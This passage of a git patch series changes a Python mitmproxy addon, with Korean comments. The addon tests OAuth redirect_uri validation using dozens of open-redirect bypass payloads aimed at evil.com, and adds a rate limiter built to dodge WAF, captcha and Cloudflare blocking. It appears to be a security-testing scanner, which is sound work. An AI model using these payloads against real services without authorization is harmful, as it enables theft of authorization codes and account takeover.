패턴에서 잘못된 대상 도메인: {after_at} != {base_host}") + return False + + return True except Exception as e: print(f"[ERROR] 도메인 검증 실패: {e}") @@ -154,18 +507,27 @@ class RedirectBypassChecker: status = response['status'] location = response['location'] + print(f"[DEBUG] 응답 분석 - 상태: {status}, Location: {location}") + # 리다이렉트 응답이 아니면 스킵 if status not in [301, 302, 303, 307, 308]: + print(f"[DEBUG] 리다이렉트 아님 - 상태 코드: {status}") return # Location 헤더에서 code 추출 auth_code = self._extract_code_from_location(location) + print(f"[DEBUG] 추출된 코드: {auth_code}") - if auth_code and not self._is_baseline_valid(bypassed_uri, original_url): + # 베이스라인 검증 + is_valid = self._is_baseline_valid(bypassed_uri, original_url) + print(f"[DEBUG] 베이스라인 검증 결과: {is_valid}") + + if auth_code and not is_valid: # 취약점 발견 시에만 로그 print(f"[🎯 VULNERABILITY] {payload.name} 우회 성공!") await self._report_vulnerability(original_url, test_url, bypassed_uri, location, auth_code, payload) - + else: + print(f"[DEBUG] 취약점 없음 - 코드: {bool(auth_code)}, 유효성: {is_valid}") """ 취약점 보고서 생성 """ async def _report_vulnerability(self, original_url, test_url, bypassed_uri, location, auth_code, payload): From 1c6fc53a81a95c560bfde1a846e2696f951c9f25 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Wed, 25 Jun 2025 14:14:19 +0900 Subject: [PATCH 35/56] =?UTF-8?q?redirect=5Furi=20=EC=9A=B0=ED=9A=8C=20?= =?UTF-8?q?=ED=8C=A8=ED=84=B4=20=EC=B6=94=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 57개 우회 패턴 구체화 - 적응형 레이트 리미팅 추가 (차단 방지) --- addon/redirect_uri_check.py | 1027 +++++++++++++++++++++++++++++++---- 1 file changed, 930 insertions(+), 97 deletions(-) diff --git a/addon/redirect_uri_check.py b/addon/redirect_uri_check.py index c98168e..8acc4dd 100644 --- a/addon/redirect_uri_check.py +++ b/addon/redirect_uri_check.py @@ -1,9 +1,124 @@ from mitmproxy import http import aiohttp +import asyncio +import random +import time from urllib.parse import urlparse, parse_qs, urlencode, urlunparse import lib.target as target from lib.report import save_report +class RedirectRateLimiter: + """redirect_uri_check 전용 rate limiter""" + def __init__(self): + self.last_request = 0 + self.request_count = 0 + self.failure_count = 0 + self.consecutive_failures = 0 + self.blocked_until = 0 + self.pattern_index = 0 # 현재 테스트 중인 패턴 번호 + + # 설정값 (전체 패턴 기준으로 최적화) + self.base_delay = 1.0 # 기본 1초 지연 (38개니까 빠르게) + self.failure_backoff = 0.5 # 실패시 0.5초씩 증가 + self.max_delay = 5.0 # 최대 5초 지연 + self.block_duration = 300 # 5분 차단 + self.success_speedup = 0.8 # 성공시 속도 증가 + + async def wait_if_needed(self, pattern_name: str, target_url: str = "") -> bool: + """패턴별 레이트 리미팅""" + current_time = time.time() + + # 차단 중인지 확인 + if current_time < self.blocked_until: + remaining = int(self.blocked_until - current_time) + print(f"[RATE_LIMIT] ⛔ 차단 중 - {remaining}초 남음, {pattern_name} 스킵") + return False + + # 적응형 지연 시간 계산 + delay = self._calculate_delay() + + # 마지막 요청으로부터의 시간 확인 + time_since_last = current_time - self.last_request + if time_since_last < delay: + wait_time = delay - time_since_last + print(f"[RATE_LIMIT] ⏳ {wait_time:.1f}초 대기 (패턴: {pattern_name})") + await asyncio.sleep(wait_time) + + self.last_request = time.time() + self.request_count += 1 + self.pattern_index += 1 + + # 진행률 표시 (10개마다) + if self.pattern_index % 10 == 0: + print(f"[PROGRESS] 📊 {self.pattern_index}/38 패턴 완료") + + return True + + def _calculate_delay(self) -> float: + """적응형 지연 시간 계산""" + delay = self.base_delay + + # 연속 실패에 따른 백오프 + if self.consecutive_failures > 0: + backoff = min(self.consecutive_failures * self.failure_backoff, 3.0) + delay += backoff + + # 전체 실패율에 따른 조정 + if self.request_count > 5: + failure_rate = self.failure_count / self.request_count + if failure_rate > 0.3: # 실패율 30% 초과시 + delay *= (1 + failure_rate) + + # 최대값 제한 + delay = min(delay, self.max_delay) + + # 랜덤 지터 (±20%) + jitter = random.uniform(0.8, 1.2) + return delay * jitter + + def record_success(self): + """성공 기록""" + self.consecutive_failures = 0 + # 성공시 약간 속도 증가 (학습 효과) + if self.base_delay > 0.5: + self.base_delay *= self.success_speedup + + def record_failure(self, error_msg: str = ""): + """실패 기록 및 차단 감지""" + self.failure_count += 1 + self.consecutive_failures += 1 + + # 즉시 차단이 필요한 패턴들 + immediate_block_patterns = [ + '403', '429', '503', + 'forbidden', 'rate limit', 'rate-limit', + 'too many requests', 'blocked', 'banned', + 'captcha', 'recaptcha', 'cloudflare', + 'security check', 'access denied' + ] + + error_lower = str(error_msg).lower() + should_block = any(pattern in error_lower for pattern in immediate_block_patterns) + + if should_block: + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 차단 패턴 감지 - 5분 대기: {error_msg}") + return + + # 연속 실패 임계값 도달시 차단 + if self.consecutive_failures >= 8: # 38개 패턴이니까 8개 실패까지 허용 + self.blocked_until = time.time() + self.block_duration + print(f"[RATE_LIMIT] 🚫 연속 실패 {self.consecutive_failures}회 - 5분 대기") + + def reset_for_new_target(self): + """새로운 타겟 시작시 일부 통계 리셋""" + self.pattern_index = 0 + self.consecutive_failures = 0 + # base_delay와 전체 통계는 유지 (학습된 내용) + +# 글로벌 레이트 리미터 +redirect_limiter = RedirectRateLimiter() + class BypassPayload: """ 우회 패턴 정의 """ def __init__(self, name: str, mutate_func, description: str): @@ -35,33 +150,106 @@ class RedirectBypassChecker: ), BypassPayload( - name=r"fullwidth_slash", - mutate_func=self._mutate_pattern4, - description=r"Path parsing bypass using full-width slash (/): target.com/@evil.com" + name=r"fullwidth_slash_direct", + mutate_func=self._mutate_pattern4_1, + description=r"Direct fullwidth slash bypass: target.com/@evil.com" + ), + + BypassPayload( + name=r"fullwidth_slash_encoded", + mutate_func=self._mutate_pattern4_2, + description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_direct", + mutate_func=self._mutate_pattern4_3, + description=r"Direct fullwidth backslash bypass: target.com\@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_encoded", + mutate_func=self._mutate_pattern4_4, + description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" ), BypassPayload( - name=r"%0a@", + name=r"mixed_backslash_types", mutate_func=self._mutate_pattern5, - description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + description=r"Mixed backslash types: target.com\\\evil.com" ), BypassPayload( - name=r"%0d@", + name=r"mixed_backslash_fullwidth_slash", mutate_func=self._mutate_pattern6, - description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" ), BypassPayload( - name=r"path_traversal", - mutate_func=self._mutate_pattern7, - description=r"Path traversal bypass using ../../../: target.com/path/../../../evil.com" + name=r"path_traversal_basic", + mutate_func=self._mutate_pattern7_1, + description=r"Basic path traversal: target.com/path/../../../evil.com" ), - BypassPayload( - name=r"domain_suffix", + name=r"path_traversal_deep", + mutate_func=self._mutate_pattern7_2, + description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_absolute", + mutate_func=self._mutate_pattern7_3, + description=r"Absolute path traversal: target.com/../evil.com" + ), + BypassPayload( + name=r"path_traversal_mixed", + mutate_func=self._mutate_pattern7_4, + description=r"Mixed slash traversal: target.com/path/.././.././evil.com" + ), + BypassPayload( + name=r"path_traversal_semicolon", + mutate_func=self._mutate_pattern7_5, + description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" + ), + BypassPayload( + name=r"path_traversal_encoded", + mutate_func=self._mutate_pattern7_6, + description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" + ), + BypassPayload( + name=r"path_traversal_double_encoded", + mutate_func=self._mutate_pattern7_7, + description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" + ), + BypassPayload( + name=r"path_traversal_hex", + mutate_func=self._mutate_pattern7_8, + description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" + ), + BypassPayload( + name=r"path_traversal_unicode", + mutate_func=self._mutate_pattern7_9, + description=r"Unicode dot traversal: target.com/path/../../evil.com" + ), + BypassPayload( + name=r"path_traversal_backslash", + mutate_func=self._mutate_pattern7_10, + description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" + ), + BypassPayload( + name=r"path_traversal_overlong", + mutate_func=self._mutate_pattern7_11, + description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" + ), + BypassPayload( + name=r"path_traversal_null", + mutate_func=self._mutate_pattern7_12, + description=r"Null byte traversal: target.com/path/../%00../evil.com" + ), + + BypassPayload( + name=r"wildcard_subdomain_bypass", mutate_func=self._mutate_pattern8, - description=r"Domain suffix spoofing: target.com.evil.com" + description=r"Wildcard subdomain bypass: attacker.target.com" ), BypassPayload( @@ -93,11 +281,11 @@ class RedirectBypassChecker: mutate_func=self._mutate_pattern13, description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" ), - + BypassPayload( - name=r"port_manipulation", + name=r"mixed_case_idn_combo", mutate_func=self._mutate_pattern14, - description=r"Port number manipulation: evil.com@target.com:80" + description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" ), BypassPayload( @@ -111,17 +299,167 @@ class RedirectBypassChecker: mutate_func=self._mutate_pattern16, description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" ), - + BypassPayload( - name=r"double_encoding", + name=r"path_backslash_domain", mutate_func=self._mutate_pattern17, - description=r"Double URL encoding bypass: evil.com%2540target.com" + description=r"Path backslash domain bypass: target.com\\.evil.com" ), BypassPayload( - name=r"case_variation", - mutate_func=self._mutate_pattern18, - description=r"Case variation bypass: EVIL.COM@target.com" + name=r"mixed_encoding_chaos_basic", + mutate_func=self._mutate_pattern18_1, + description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_full", + mutate_func=self._mutate_pattern18_2, + description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_special", + mutate_func=self._mutate_pattern18_3, + description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_double", + mutate_func=self._mutate_pattern18_4, + description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_reverse", + mutate_func=self._mutate_pattern18_5, + description=r"Reverse control chars: evil.com%20%0A%09@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_repeat", + mutate_func=self._mutate_pattern18_6, + description=r"Repeated control chars: evil.com%09%09%09@target.com" + ), + + BypassPayload( + name=r"subdomain_confusion_hyphen", + mutate_func=self._mutate_pattern19, + description=r"Subdomain confusion with hyphen: target-com.evil.com" + ), + + BypassPayload( + name=r"semicolon_userinfo_bypass", + mutate_func=self._mutate_pattern20, + description=r"Semicolon userinfo bypass: target.com;evil.com" + ), + + BypassPayload( + name=r"tab_character_bypass", + mutate_func=self._mutate_pattern21, + description=r"Tab character bypass using %09: evil.com%09@target.com" + ), + + BypassPayload( + name=r"space_character_bypass", + mutate_func=self._mutate_pattern22, + description=r"Space character bypass using %20: evil.com%20@target.com" + ), + + BypassPayload( + name=r"form_feed_bypass", + mutate_func=self._mutate_pattern23, + description=r"Form feed character bypass using %0c: evil.com%0c@target.com" + ), + + BypassPayload( + name=r"vertical_tab_bypass", + mutate_func=self._mutate_pattern24, + description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" + ), + + BypassPayload( + name=r"%0a@", + mutate_func=self._mutate_pattern25, + description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + ), + + BypassPayload( + name=r"%0d@", + mutate_func=self._mutate_pattern26, + description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + ), + + BypassPayload( + name=r"crlf_injection", + mutate_func=self._mutate_pattern27, + description=r"CRLF injection bypass: evil.com%0D%0A@target.com" + ), + + BypassPayload( + name=r"mixed_case_scheme", + mutate_func=self._mutate_pattern28, + description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" + ), + + BypassPayload( + name=r"scheme_dot_injection", + mutate_func=self._mutate_pattern29, + description=r"Scheme dot injection: https.://evil.com@target.com" + ), + + BypassPayload( + name=r"port_encoded_bypass", + mutate_func=self._mutate_pattern30, + description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" + ), + + BypassPayload( + name=r"ampersand_encoded_bypass", + mutate_func=self._mutate_pattern31, + description=r"Ampersand encoded bypass: target.com &%40evil.com" + ), + + BypassPayload( + name=r"underscore_encoded_bypass", + mutate_func=self._mutate_pattern32, + description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" + ), + + BypassPayload( + name=r"comma_separator_bypass", + mutate_func=self._mutate_pattern33, + description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" + ), + + BypassPayload( + name=r"schemeless_bypass", + mutate_func=self._mutate_pattern34, + description=r"Schemeless bypass: //evil.com" + ), + + BypassPayload( + name=r"schema_colon_bypass", + mutate_func=self._mutate_pattern35, + description=r"Schema colon bypass: http:evil.com" + ), + + BypassPayload( + name=r"null_byte_prefix", + mutate_func=self._mutate_pattern36, + description=r"Null byte prefix: %00http://evil.com" + ), + + BypassPayload( + name=r"unicode_spaces_bypass", + mutate_func=self._mutate_pattern37, + description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" + ), + + BypassPayload( + name=r"bracket_encoded_bypass", + mutate_func=self._mutate_pattern38, + description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" ), ] @@ -152,44 +490,166 @@ class RedirectBypassChecker: print(f"[redirect_uri_check] %ff subdomain pattern: {original} → {mutated}") return mutated - # 4. 전각 슬래시 - Full-width character bypass - def _mutate_pattern4(self, original: str) -> str: + # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC + # 4_1. 직접 전각 슬래시 + def _mutate_pattern4_1(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" mutated = f"https://{parsed.netloc}/@evil.com{path_part}" - print(f"[redirect_uri_check] fullwidth slash pattern: {original} → {mutated}") + print(f"[redirect_uri_check] direct fullwidth slash: {original} → {mutated}") return mutated - # 5. %0a@ - 줄바꿈 문자 우회 + # 4_2. URL 인코딩된 전각 슬래시 + def _mutate_pattern4_2(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %EF%BC%8F = 전각 슬래시 (/) + mutated = f"https://{parsed.netloc}%EF%BC%8F@evil.com{path_part}" + print(f"[redirect_uri_check] encoded fullwidth slash: {original} → {mutated}") + return mutated + + # 4_3. 직접 전각 백슬래시 + def _mutate_pattern4_3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}\@evil.com{path_part}" + print(f"[redirect_uri_check] direct fullwidth backslash: {original} → {mutated}") + return mutated + + # 4_4. URL 인코딩된 전각 백슬래시 + def _mutate_pattern4_4(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %EF%BC%BC = 전각 백슬래시 (\) + mutated = f"https://{parsed.netloc}%EF%BC%BC@evil.com{path_part}" + print(f"[redirect_uri_check] encoded fullwidth backslash: {original} → {mutated}") + return mutated + + # 5. 백슬래시 + 전각 백슬래시 조합 def _mutate_pattern5(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") + mutated = f"https://{parsed.netloc}\\\evil.com{path_part}" + print(f"[redirect_uri_check] mixed backslash types: {original} → {mutated}") return mutated - # 6. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + # 6. 백슬래시 + 전각 슬래시 조합 def _mutate_pattern6(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") + mutated = f"https://{parsed.netloc}\\/evil.com{path_part}" + print(f"[redirect_uri_check] mixed backslash-fullwidth slash: {original} → {mutated}") return mutated # 7. 경로 순회 - Path traversal bypass - def _mutate_pattern7(self, original: str) -> str: + # 7-1. 기본 경로 순회 + def _mutate_pattern7_1(self, original: str) -> str: parsed = urlparse(original) base_path = parsed.path if parsed.path else "/callback" mutated = f"https://{parsed.netloc}{base_path}/../../../evil.com" - print(f"[redirect_uri_check] path traversal pattern: {original} → {mutated}") + print(f"[redirect_uri_check] basic path traversal: {original} → {mutated}") return mutated - # 8. 도메인 접미사 스푸핑 - Slack HackerOne #2575 case + # 7-2. 더 많은 경로 순회 + def _mutate_pattern7_2(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" + print(f"[redirect_uri_check] deep path traversal: {original} → {mutated}") + return mutated + + # 7-3. 절대 경로로 우회 + def _mutate_pattern7_3(self, original: str) -> str: + parsed = urlparse(original) + mutated = f"https://{parsed.netloc}/../evil.com" + print(f"[redirect_uri_check] absolute path traversal: {original} → {mutated}") + return mutated + + # 7-4. 혼합 슬래시 패턴 + def _mutate_pattern7_4(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/.././.././evil.com" + print(f"[redirect_uri_check] mixed slash traversal: {original} → {mutated}") + return mutated + + # 7-5. 점 뒤에 추가 문자 + def _mutate_pattern7_5(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" + print(f"[redirect_uri_check] semicolon path traversal: {original} → {mutated}") + return mutated + + # 7-6. URL 인코딩된 경로 순회 + def _mutate_pattern7_6(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %2e = ., %2f = / + mutated = f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" + print(f"[redirect_uri_check] URL encoded traversal: {original} → {mutated}") + return mutated + + # 7-7. 이중 URL 인코딩 + def _mutate_pattern7_7(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %252e = 이중 인코딩된 . + mutated = f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" + print(f"[redirect_uri_check] double encoded traversal: {original} → {mutated}") + return mutated + + # 7-8. 16진수 인코딩 + def _mutate_pattern7_8(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 0x2e2e2f = ../ + mutated = f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" + print(f"[redirect_uri_check] hex encoded traversal: {original} → {mutated}") + return mutated + + # 7-9. 유니코드 정규화 우회 + def _mutate_pattern7_9(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 유니코드 점 문자들 (U+002E, U+FF0E 등) + mutated = f"https://{parsed.netloc}{base_path}/../../evil.com" + print(f"[redirect_uri_check] unicode dot traversal: {original} → {mutated}") + return mutated + + # 7-10. 백슬래시 + 경로 순회 조합 + def _mutate_pattern7_10(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + mutated = f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" + print(f"[redirect_uri_check] backslash traversal: {original} → {mutated}") + return mutated + + # 7-11. 오버롱 UTF-8 인코딩 + def _mutate_pattern7_11(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %c0%ae = 오버롱 UTF-8로 인코딩된 점 + mutated = f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" + print(f"[redirect_uri_check] overlong UTF-8 traversal: {original} → {mutated}") + return mutated + + # 7-12. 널 바이트 삽입 + def _mutate_pattern7_12(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %00 = 널 바이트 + mutated = f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" + print(f"[redirect_uri_check] null byte traversal: {original} → {mutated}") + return mutated + + # 8. 와일드카드 서브도메인 우회 def _mutate_pattern8(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - mutated = f"https://{parsed.netloc}.evil.com{path_part}" - print(f"[redirect_uri_check] domain suffix pattern: {original} → {mutated}") + # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 + mutated = f"https://attacker.{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] wildcard subdomain bypass: {original} → {mutated}") return mutated # 9. 백슬래시 우회 - Dart SDK Issue #50075 @@ -240,14 +700,12 @@ class RedirectBypassChecker: print(f"[redirect_uri_check] IPv6 bypass pattern: {original} → {mutated}") return mutated - # 14. 포트 번호 조작 + # 14. 대소문자 + IDN 문자 조합으로 필터 우회 def _mutate_pattern14(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - # 기본 포트를 명시적으로 표현하거나 다른 포트로 우회 시도 - base_port = ":80" if parsed.scheme == "http" else ":443" - mutated = f"https://evil.example@{parsed.netloc}{base_port}{path_part}" - print(f"[redirect_uri_check] port manipulation pattern: {original} → {mutated}") + mutated = f"https://ЕVIL.example@{parsed.netloc.upper()}{path_part}" # Е는 키릴 문자 + print(f"[redirect_uri_check] mixed case IDN bypass: {original} → {mutated}") return mutated # 15. Fragment identifier 우회 @@ -267,23 +725,226 @@ class RedirectBypassChecker: mutated = f"https://evil.com@{parsed.netloc}//../../evil.com{path_part}" print(f"[redirect_uri_check] combined bypass pattern: {original} → {mutated}") return mutated - - # 17. 이중 URL 인코딩 + + # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) def _mutate_pattern17(self, original: str) -> str: parsed = urlparse(original) - path_part = parsed.path if parsed.path else "" - # %40(@의 URL 인코딩)을 한 번 더 인코딩하여 %2540으로 만듦 - mutated = f"https://evil.example%2540{parsed.netloc}{path_part}" - print(f"[redirect_uri_check] double encoding pattern: {original} → {mutated}") + # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 + mutated = f"https://{parsed.netloc}\\.evil.com" + print(f"[redirect_uri_check] path backslash domain: {original} → {mutated}") return mutated - # 18. 대소문자 변형 - 서버별 파싱 차이 이용 - def _mutate_pattern18(self, original: str) -> str: + # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) + def _mutate_pattern18_1(self, original: str) -> str: parsed = urlparse(original) path_part = parsed.path if parsed.path else "" - # 대소문자 혼합으로 파싱 차이 유발 - mutated = f"https://EVIL.EXAMPLE@{parsed.netloc.upper()}{path_part}" - print(f"[redirect_uri_check] case variation pattern: {original} → {mutated}") + # 탭 + 줄바꿈 + 공백 + mutated = f"https://evil.com%09%0A%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] mixed encoding chaos: {original} → {mutated}") + return mutated + + # 18_2. 모든 제어 문자 조합 + def _mutate_pattern18_2(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 + mutated = f"https://evil.com%0A%0D%09%0B%0C%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] full control char chaos: {original} → {mutated}") + return mutated + + # 18_3. 제어 문자 + 특수 문자 + def _mutate_pattern18_3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09%0A%20%00%FF@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] control + special char chaos: {original} → {mutated}") + return mutated + + # 18_4. 이중 인코딩 + 제어 문자 + def _mutate_pattern18_4(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%2509%250A%2520@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] double encoded control chaos: {original} → {mutated}") + return mutated + + # 18_5. 역순 제어 문자 + def _mutate_pattern18_5(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%20%0A%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] reverse control char chaos: {original} → {mutated}") + return mutated + + # 18_6. 반복 제어 문자 + def _mutate_pattern18_6(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09%09%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] repeated control char chaos: {original} → {mutated}") + return mutated + + # 19. 서브도메인 혼동 우회 (하이픈 버전) + def _mutate_pattern19(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # target.com → target-com.evil.com + host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') + mutated = f"https://{host_with_hyphen}.evil.com{path_part}" + print(f"[redirect_uri_check] subdomain confusion bypass: {original} → {mutated}") + return mutated + + # 20. 세미콜론 userinfo 우회 + def _mutate_pattern20(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc};evil.com{path_part}" + print(f"[redirect_uri_check] semicolon userinfo bypass: {original} → {mutated}") + return mutated + + # 21. %09 - 탭 문자 우회 + def _mutate_pattern21(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%09@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] tab character bypass: {original} → {mutated}") + return mutated + + # 22. %20 - 공백 문자 우회 + def _mutate_pattern22(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%20@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] space character bypass: {original} → {mutated}") + return mutated + + # 23. %0c - 폼 피드 문자 우회 + def _mutate_pattern23(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0c@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] form feed bypass: {original} → {mutated}") + return mutated + + # 24. %0b - 수직 탭 문자 우회 + def _mutate_pattern24(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0b@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] vertical tab bypass: {original} → {mutated}") + return mutated + + # 25. %0a@ - 줄바꿈 문자 우회 + def _mutate_pattern25(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0a@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] newline pattern: {original} → {mutated}") + return mutated + + # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + def _mutate_pattern26(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://evil.com%0d@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] carriage return pattern: {original} → {mutated}") + return mutated + + # 27. CRLF 인젝션 우회 + def _mutate_pattern27(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 + mutated = f"https://evil.com%0D%0A@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] CRLF injection bypass: {original} → {mutated}") + return mutated + + # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 + def _mutate_pattern28(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"HtTpS://evil.com@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] mixed case scheme bypass: {original} → {mutated}") + return mutated + + # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) + def _mutate_pattern29(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https.://evil.com@{parsed.netloc}{path_part}" + print(f"[redirect_uri_check] scheme dot injection: {original} → {mutated}") + return mutated + + # 30. 포트 인코딩 우회 - %40 = @ + def _mutate_pattern30(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}:%40evil.com{path_part}" + print(f"[redirect_uri_check] port encoded: {original} → {mutated}") + return mutated + + # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 + def _mutate_pattern31(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc} &%40evil.com{path_part}" + print(f"[redirect_uri_check] ampersand encoded: {original} → {mutated}") + return mutated + + # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 + def _mutate_pattern32(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}.%5F.evil.com{path_part}" + print(f"[redirect_uri_check] underscore encoded: {original} → {mutated}") + return mutated + + # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 + def _mutate_pattern33(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + mutated = f"https://{parsed.netloc}.%2C.evil.com{path_part}" + print(f"[redirect_uri_check] comma separator: {original} → 